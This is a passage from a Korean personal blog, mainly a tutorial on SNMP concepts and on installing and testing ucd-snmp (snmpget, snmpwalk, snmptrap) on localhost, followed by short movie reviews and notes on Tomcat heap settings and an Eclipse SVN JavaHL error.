Version은 말이 필요없다. SNMP프로토콜의 버젼번호를 나타낸다. Community name은 메니저와 에이전트간의 관계를 나타내는데, 인증, 접근통제등의 목적으로 사용된다. 보통은 간단하게 public을 사용한다.PDU 는 Physical Data Unit의 줄임말인데, 실제 전송되는 필요한 정보들을 담고 있는 Unit이다. Unit 이라고 하는 이유는 실제 전송되는 정보들의 부가 속성을 나타내기 위한 몇가지 값들을 포함하고 있기 때문이다. PDU는 PDU 타입(GET인지 Set인지 GET Next인지, TRAP인지등)과, Request-id, 실제보내고자 하는 데이타등(OID와 OID에 대한 값들)으로 구성되어 있다.
SNMP를 통해서 전달되는 메시지들은 기본적으로 UDP를 이용하게 된다. 바로위에서 PDU는 Request-id를 포함하고 있다고 했는데, 데이타그램처리방식인 UDP의 단점을 극복하기 위해서 사용되는 값으로, 각 메시지의 요청번호를 표시한다. 그래야만 수신된 SNMP메시지가 어떤 요청에 대해서 수신된 메시지인지 확인이 가능할것이기 때문이다.


3절. SNMP 설치 및 운용

그럼 실제로 시스템에 SNMP(agent와 manager 애플리케이션)을 설치해서 정보를 가져오는걸 간단히 테스트 해보도록 하겠다.

설치는 Linux(Kernel-2.4.x)에서 ucd-snmp로 할것이다. 위에서 설명했듯이, SNMP는 manager과 agent로 운영되게 되는데, 테스트의 편의를 위해서 하나의 시스템(localhost)에서 manager와 agent를 운용하도록 하겠다.

3.1절. ucd-snmp 설치

ucd-snmp는 net-snmp.sourceforge.net에서 얻을수 있으며 애플리케이션 관련 정보들도 얻을수 있다. ucd-snmp는 현재 버젼 5.x대까지 진행되어 있는데, 5.x부터는 net-snmp로 이름을 바꾸고 개발되어지고 있으며, 4.x버젼까지를 ucd-snmp라고 부르고 있다. 필자는 익숙한 ucd-snmp(버젼 4.x)를 설치하도록 할것이다. 비록 net-snmp가 최신이긴 하지만 별로 다루어본적이 없고, 대부분의 경우 아직까지는 ucd-snmp가 많이 사용되어지고 있기 때문이다. 최신이 아니라고 불만을 가질 필요는 없다. 근본적으로 net-snmp와 ucd-snmp간의 차이는 없으며, 우리의 목적은 최신의 snmp애플리케이션을 테스트하는게 아닌 snmp의 기능과 원리를 이해하고 이를 이용해서 필요한 응용 애플리케이션을 작성하는 것이기 때문이다.

위의 URL에서 ucd-snmp를 다운받아서 압축을 풀고 컴파일 하도록 하자. 컴파일 하는중에는 아마도 아무런 문제가 없을것이다. 컴파일은 매우 일반적인 방법을 따른다. 적당한 디렉토리에 압축을 풀고 ./configure, make, make install 하면된다.


[root@localhost src]# tar -xvzf ucd-snmp-4.2.6.tar.gz
[root@localhost src]# cd ucd-snmp-4.2.6
[root@localhost ucd-snmp-4.2.6]# ./configure  
[root@localhost ucd-snmp-4.2.6]# make
[root@localhost ucd-snmp-4.2.6]# make install

헤에... 너무 간단하지 않은가 ?
3.2절. SNMP AGENT 실행

make install 까지 했다면 agent와 manager프로그램이 모두 설치되어 있을 것이다. 그리고 여기에 더불어 개발자를 위한 각종 라이브러리와 헤더파일들도 설치된다. 이 라이브러리와 헤더파일들은 개발할때 필요하며 다음 강좌에서 다루게 될것이다.

ucd-snmp는 agent 프로그램으로 snmpd를 제공한다. agent환경을 제대로 만들려면 복잡해보이는(사실은 그리 복잡하다고 볼수없는) 설정파일을 만들어줘야 하지만 이것은 각자의 몫이다. net-snmp프로젝트 홈페이지에서 제공하는 메뉴얼을 참고하기 바란다. 어쨋든 현재로써는 단지 snmpd를 띄우는 정도로 snmp agent환경을 만들수 있다.

[root@localhost root]# snmpd

이것으로 snmp를 테스트할 최소한의 agent환경이 구축되었다.
3.3절. SNMP MANAGER 테스트

3.3.1절. 동기적인 데이타 요청 - snmp get, get next

GET과 GET NEXT는 동기적인 정보요청을 위해서 사용한다. manager에서 agent에 대해서 정보를 요청했을때 해당 정보를 agent에서 보내주는 방식이다. GET은 단일정보요청을 위해서 사용하며, GET NEXT는 해당 계층의 하위에 있는 모든 정보의 요청을 위해서 사용된다.

ucd-snmp는 이러한 정보요청을 위한 manager프로그램으로 snmpget과 snmpnext, snmpwalk를 제공한다.

snmpget은 이름에서 알수 있듯이 agent로부터 특정한 정보를 얻어내기 위해서 사용한다. 정보를 얻기 위해 필요한 기본정보는 agent가 설치되어 있는 서버의 주소(혹은 이름) 와 커뮤니티(권한을 위한)이름 그리고 얻기 원하는 정보의 OID번호 혹은 MIB의 계층이름이다. 예를들어서 localhost로부터 public권한을 가지고 sysDescr(시스템 부가정보)정보를 얻어오고 싶다면 아래와 같이 하면 된다.

 
[root@localhost /root]# snmpget localhost public system.sysDescr.0
system.sysDescr.0 = Linux localhost 2.4.2-2 #1 Sun Apr 8 20:41:30 EDT 2001 i686

혹은 MIB이름대신에 OID번호를 사용해도 된다.
 
[root@localhost /root]# snmpget localhost public 1.1.0
system.sysDescr.0 = Linux localhost 2.4.2-2 #1 Sun Apr 8 20:41:30 EDT 2001 i686

snmpwalk는 해당 MIB의 하위계층에 있는 모든 정보를 요청한다. 예를들어 system MIB의 하위 계층에 있는 모든 OID에 대한 정보를 요청하길 원한다면 아래와 같이 하면된다. 이게 가능한 이유는 snmpwalk가 정보를 요청하기 위해서 snmp메시지를 만들때 PDU타입을 GET NEXT를 사용하기 때문이다. 나중에 직접구현하게 될것이다. 지금은 구현에 신경쓰지 말자.

[root@localhost /root]# snmpwalk localhost public system
system.sysDescr.0 = Linux localhost 2.4.2-2 #1 Sun Apr 8 20:41:30 EDT 2001 i686
system.sysObjectID.0 = OID: enterprises.ucdavis.ucdSnmpAgent.linux
system.sysUpTime.0 = Timeticks: (2685699) 7:27:36.99
system.sysContact.0 = yundream@joinc.co.kr
system.sysName.0 = localhost
system.sysLocation.0 = myhome
system.sysORLastChange.0 = Timeticks: (0) 0:00:00.00
....

system하위의 모든 OID에 대한 정보를 얻어오고 있음을 확인할수 있다.
snmpgetnext는 snmpwalk의 기능 축소판정도로 볼수 있을것이다. 즉 MIB계층구조에서 현재 요청한 OID의 다음 OID의 정보를 가져온다. 예를들어 system.sysDescr.0에 대한 정보를 요청하면 다음 OID인 system.sysObjectID.0의 정보를 요청하게 될것이다. 이게 가능한 이유는 snmpwalk와 마찬가지로 내부적으로 GET NEXT를 이용하고 있기 때문이다. snmpwalk가 더이상 얻을수 없을때까지 OID를 요청하는것과 달리 snmpgetnext 바로다음의 OID만을 요청한다.

 
[root@localhost /root]# snmpgetnext localhost public system system.sysDescr.0
system.sysDescr.0 = Linux localhost 2.4.2-2 #1 Sun Apr 8 20:41:30 EDT 2001 i686
system.sysObjectID.0 = OID: enterprises.ucdavis.ucdSnmpAgent.linux

3.3.2절. 비동기적인 데이타 요청 - snmp trap

기본적으로 GET, GET NEXT를 통한 데이타요청은 일정한 polling시간을 가지고 manager에서 agent로 필요한 정보를 요청하는 방식이다. 그러나 이걸 이용해서는 비동기적으로 발생하는 정보를 수집할수가 없다.

이러한 비동기적인 정보는 여러가지가 될수 있다. 예를들면 특정 네트워크 세그먼트에 문제가 생겼다거나 디스크나 메모리용량을 과다하게 사용하고 있다거나(많은 운영체제의 경우 시스템정보까지도 snmp를 통해서 얻을수 있도록 허용하고 있다)하는 사건들은 비동기적으로 발생할것이다. 이럴경우에는 agent에서 manager측으로 사건을 통보해야 할것이다. 이렇게 agent에서 manager측으로 비동기적으로 사건을 통보하는 것을 SNMP TRAP라고 한다(간단히 말해서 경고메시지 보내는거다).

ucd-snmp에서는 이러한 trap정보를 전송하고 받기 위해서 snmptrapd와 snmptrap를 제공한다. snmptrapd는 agent에 제공되는 데몬프로그램으로 manager에서의 trap데이타 발생을 기다린다. snmptrap는 agent에 설치되어서 사용될수 있으며 trap데이타를 manager로 전송하는 일을한다.

이 snmptrap은 꽤 유용하게 사용할수 있다. 간단하게 스크립트로 만들어서 어떤 파일이 변조되었을경우 trap정보를 manager쪽으로 발생시킨다거나, 프로세스 갯수가 일정갯수 이상 초과했을때 이를 전송한다든지 하는 기능을 비교적 간단하게 추가시킬수 있을것이다.

다음은 ucd-snmp에서 제공하는 trap애플리케이션을 이용한 간단한 테스트이다. 먼저 snmptrapd를 manager측에서 실행시켜야 한다. 이 애플리케이션은 옵션없이 실행할경우 데몬모드로 실행되며 표준출력을 시키지 않음으로 다음과 같이 옵션을 주고 실행시켜서 일반모드(forground)에서 받은 trap정보를 표준출력하도록 실행시키도록 하자.

[root@localhost root]# snmptrapd -f -P
2003-04-23 00:13:34 UCD-snmp version 4.2.6 Started.

이제 agent측에서 snmptrap를 이용해서 trap정보를 manager로 전송해보도록 하자.
[root@localhost root]# snmptrap -v 2c -c public localhost "" ucdStart sysContact.0 s "yundream"

그러면 manager로 system.sysContact.0="yundream" 과 같은 정보가 전달되는걸 확인할수 있을것이다.
이들 ucd-snmp에서 제공하는 애플리케이션들의 자세한 사용법은 메뉴얼 페이지를 참고하기 바란다.

4절. 결론

이상 SNMP의 개념과 개념의 이해를 위해서 실제 사용되는 snmp애플리케이션을 설치해서 간단히 운영테스트까지 해보았다. 이러한 운영테스트를 위해서 ucd-snmp를 사용했는데, 다음 강좌는 ucd-snmp에서 제공하는 snmplib를 통해서 snmp애플리케이션을 만드는 법을 다루도록 하겠다.



크리에이티브 커먼즈 라이센스
Creative Commons License
2012/03/27 14:50 2012/03/27 14:50


뱅뱅클럽 (The Bang Bang Club, 2010) posted on 2012/03/26 21:32, filed under Entertainment

사용자 삽입 이미지


뱅뱅 클럽

제목만 봐서는 무슨 롹밴드 이름같았는데..

그게 아니였다..

남아공의 내전, 수단의 기아의 현장에서 사진을 찍는 포토그래퍼의 이야기였다.

남아공의 부족(?) 간의 전쟁의 참혹함과 인간이 얼마나 악해질 수 있는지 볼수있었다.


포토그래퍼의 이야기니만큼 엄청나게 멋진 장면과 인상적인 장면들이 많이 나온다..

보도사진가(?)라는 특수한 직업과 윤리의식 사이에서 고민하고 갈등하는 모습이 인상적이였다.

내가 하는일이 나의 가치관이 상충되면 나는 어떻게 할 것인가?

닥쳐보지 않으면 모를일이다..



크리에이티브 커먼즈 라이센스
Creative Commons License
2012/03/26 21:32 2012/03/26 21:32



톰캣서버 힙 메모리 조정하기

java.lang.OutOfMemoryError: Java heap space

톰캣 실행 파일 catalina.bat 수정

catalina.bat 파일 내에 해당 내용을 입력한다.

set JAVA_OPTS=-server -Xms1024m -Xmx1024m



크리에이티브 커먼즈 라이센스
Creative Commons License
2012/03/26 12:51 2012/03/26 12:51


리얼 스틸(Real Steel, 2011) posted on 2012/03/25 17:09, filed under Entertainment
사용자 삽입 이미지


요즘 퇴근하면서 갤럭시 노트로 영화 한편씩 보고있다.

10점중 8점정도? 상당히 잼있었다.

복싱이나 사람이 하는 운동만으로는 더이상 사람들의 쾌락을 채워주지 못하고 로봇들이 대신하게 되었다.

복싱 선수였던 주인공과 그 아들이 로봇 격투기에 나가면서 겪는 이야기.

아무리 기술이 발전해도 인간이기에 아날로그적인 감성은 남아있을 것이라는 생각이 들게 하는 영화였다.


크리에이티브 커먼즈 라이센스
Creative Commons License
2012/03/25 17:09 2012/03/25 17:09


Failed to load JavaHL Library.
에러 발생.

javahl 설치
yum install subversion-javahl

설치된 위치 확인
find /usr/lib -name *javahl*

eclipse.ini에 library path 추가
-vmargs
-Djava.library.path=/usr/lib

window &gt; preferrences &gt; team &gt; svn 의
svn interface 의 client 가 javaHL(JNI) 버전 이 보이면 성공 (실패시 not avable 나옴)


이후 아래의 에러발생
svn: OPTIONS of 'https://xxx.xxx.xxx.xxx:8443/svn': SSL handshake failed: SSL error: A record packet with illegal version was received. (https://xxx.xxx.xxx.xxx:8443)



svn 서버쪽에서 설정해줘야 할듯..

<location svn="">
          SSLVerifyClient require
...
</location>

참고 url : https://bugs.launchpad.net/ubuntu/+source/subversion/+bug/294648



크리에이티브 커먼즈 라이센스
Creative Commons License
2012/03/23 11:01 2012/03/23 11:01


Total: 213282 (Today: 73, Yesterday: 81)

RSS
읽고 있는 책